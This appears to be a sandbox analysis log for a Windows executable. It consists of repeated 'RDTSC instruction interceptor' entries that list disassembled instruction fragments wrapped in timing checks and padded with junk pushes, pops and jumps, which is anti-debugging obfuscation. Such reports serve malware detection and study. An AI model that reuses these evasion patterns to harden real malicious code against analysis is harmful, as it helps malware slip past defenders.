Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C41AB second address: 5C41C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F0DD0C38D00h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5E420F second address: 5E4222 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push esi 0x00000004 pop esi 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop edx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b jl 00007F0DD07A5D1Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5E212B second address: 5E2131 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5E27BC second address: 5E27C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5E290D second address: 5E2913 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5E2913 second address: 5E2917 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5E2917 second address: 5E291D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5E2B91 second address: 5E2B96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5E2B96 second address: 5E2B9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5E2FF8 second address: 5E3004 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F0DD07A5D16h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5E3004 second address: 5E3008 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5E3008 second address: 5E3017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007F0DD07A5D16h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5E3017 second address: 5E304B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DD0C38CFFh 0x00000009 jmp 00007F0DD0C38D06h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 push edx 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5E304B second address: 5E3055 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0DD07A5D16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5E3055 second address: 5E305B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5E3A5D second address: 5E3A70 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0DD07A5D1Ch 0x00000008 jl 00007F0DD07A5D16h 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5E3BEE second address: 5E3BFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5E3BFA second address: 5E3C25 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 pushad 0x00000009 jmp 00007F0DD07A5D1Eh 0x0000000e push edi 0x0000000f pop edi 0x00000010 jmp 00007F0DD07A5D1Ah 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5E3C25 second address: 5E3C2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5E3D83 second address: 5E3D9A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0DD07A5D1Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5E3D9A second address: 5E3D9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5E3D9E second address: 5E3DAC instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0DD07A5D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5E3DAC second address: 5E3DB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5E3DB0 second address: 5E3DBA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0DD07A5D16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5E407B second address: 5E407F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5E407F second address: 5E4099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push edi 0x00000008 pop edi 0x00000009 pushad 0x0000000a popad 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007F0DD07A5D16h 0x00000014 je 00007F0DD07A5D16h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5E6FCF second address: 5E6FE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD0C38D00h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5E783E second address: 5E7843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5BAD8E second address: 5BADA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DD0C38CFEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5BADA0 second address: 5BADC4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD07A5D28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jp 00007F0DD07A5D16h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5BADC4 second address: 5BADC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5EF9CC second address: 5EF9D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5EFB31 second address: 5EFB5D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jnp 00007F0DD0C38CF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop edx 0x00000012 pushad 0x00000013 jmp 00007F0DD0C38D07h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5EFB5D second address: 5EFB63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5EFB63 second address: 5EFB7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F0DD0C38CFDh 0x0000000e jc 00007F0DD0C38CF6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5F0259 second address: 5F0278 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DD07A5D25h 0x00000009 js 00007F0DD07A5D16h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5F0278 second address: 5F027C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5F1A75 second address: 5F1A85 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0DD07A5D16h 0x00000008 jo 00007F0DD07A5D16h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5F1A85 second address: 5F1A8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F0DD0C38CF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5F1A8F second address: 5F1AD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD07A5D28h 0x00000007 jmp 00007F0DD07A5D22h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 jmp 00007F0DD07A5D1Ch 0x00000017 jl 00007F0DD07A5D16h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5BC889 second address: 5BC895 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0DD0C38CF6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5F394D second address: 5F3953 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5F3B0B second address: 5F3B2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0DD0C38D08h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5F44E8 second address: 5F4508 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jp 00007F0DD07A5D16h 0x0000000c pop edx 0x0000000d popad 0x0000000e push eax 0x0000000f pushad 0x00000010 jmp 00007F0DD07A5D1Dh 0x00000015 push esi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5F49F3 second address: 5F4A01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F0DD0C38CF6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5F4ACA second address: 5F4ACF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5F4ACF second address: 5F4AE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jo 00007F0DD0C38CF6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5F596F second address: 5F5987 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DD07A5D24h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5F7831 second address: 5F7850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 jmp 00007F0DD0C38D08h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5F7850 second address: 5F7869 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DD07A5D25h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5F7869 second address: 5F786D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5B778E second address: 5B779B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ebx 0x00000006 push esi 0x00000007 pop esi 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5F8762 second address: 5F8766 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5F90C7 second address: 5F90CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5F8E90 second address: 5F8E96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5F90CD second address: 5F90D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5FDDA7 second address: 5FDDAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5FE2FD second address: 5FE31F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD07A5D21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d ja 00007F0DD07A5D16h 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5FE3AC second address: 5FE3B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5FE3B0 second address: 5FE3C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F0DD07A5D16h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5FF497 second address: 5FF49B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5FE57A second address: 5FE584 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0DD07A5D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6026D7 second address: 6026DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6026DD second address: 6026E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6047A4 second address: 6047A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6026E2 second address: 6026FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0DD07A5D23h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6057FF second address: 605803 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 605803 second address: 605813 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 je 00007F0DD07A5D1Eh 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 607977 second address: 60799C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 js 00007F0DD0C38CF6h 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F0DD0C38D01h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 608985 second address: 608989 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 608989 second address: 60898F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 60898F second address: 6089AD instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0DD07A5D1Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push ecx 0x0000000d ja 00007F0DD07A5D16h 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6089AD second address: 6089FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007F0DD0C38CF8h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 0000001Ah 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 push 00000000h 0x00000024 mov dword ptr [ebp+12473990h], ebx 0x0000002a mov dword ptr [ebp+122D2842h], edi 0x00000030 push 00000000h 0x00000032 mov edi, 57BCCDAFh 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F0DD0C38CFEh 0x00000040 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 60BB4E second address: 60BB52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 608B61 second address: 608B65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 609BC5 second address: 609BC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 608B65 second address: 608B69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 609BC9 second address: 609BCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 608B69 second address: 608B75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edi 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 60CB2C second address: 60CB46 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edi 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007F0DD07A5D1Ch 0x00000014 jnl 00007F0DD07A5D16h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 60EC4E second address: 60EC54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 60EC54 second address: 60EC58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 60ED2B second address: 60ED35 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0DD0C38CF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 60ED35 second address: 60ED3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F0DD07A5D16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 613B15 second address: 613B1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 613B1B second address: 613B20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 616640 second address: 61664C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 61679B second address: 6167A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6167A1 second address: 6167B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD0C38CFCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6167B1 second address: 6167E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD07A5D25h 0x00000007 pushad 0x00000008 jmp 00007F0DD07A5D1Dh 0x0000000d jmp 00007F0DD07A5D1Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6167E4 second address: 6167F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 jmp 00007F0DD0C38CFAh 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 61C41B second address: 61C41F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 61C41F second address: 61C42D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F0DD0C38CFCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
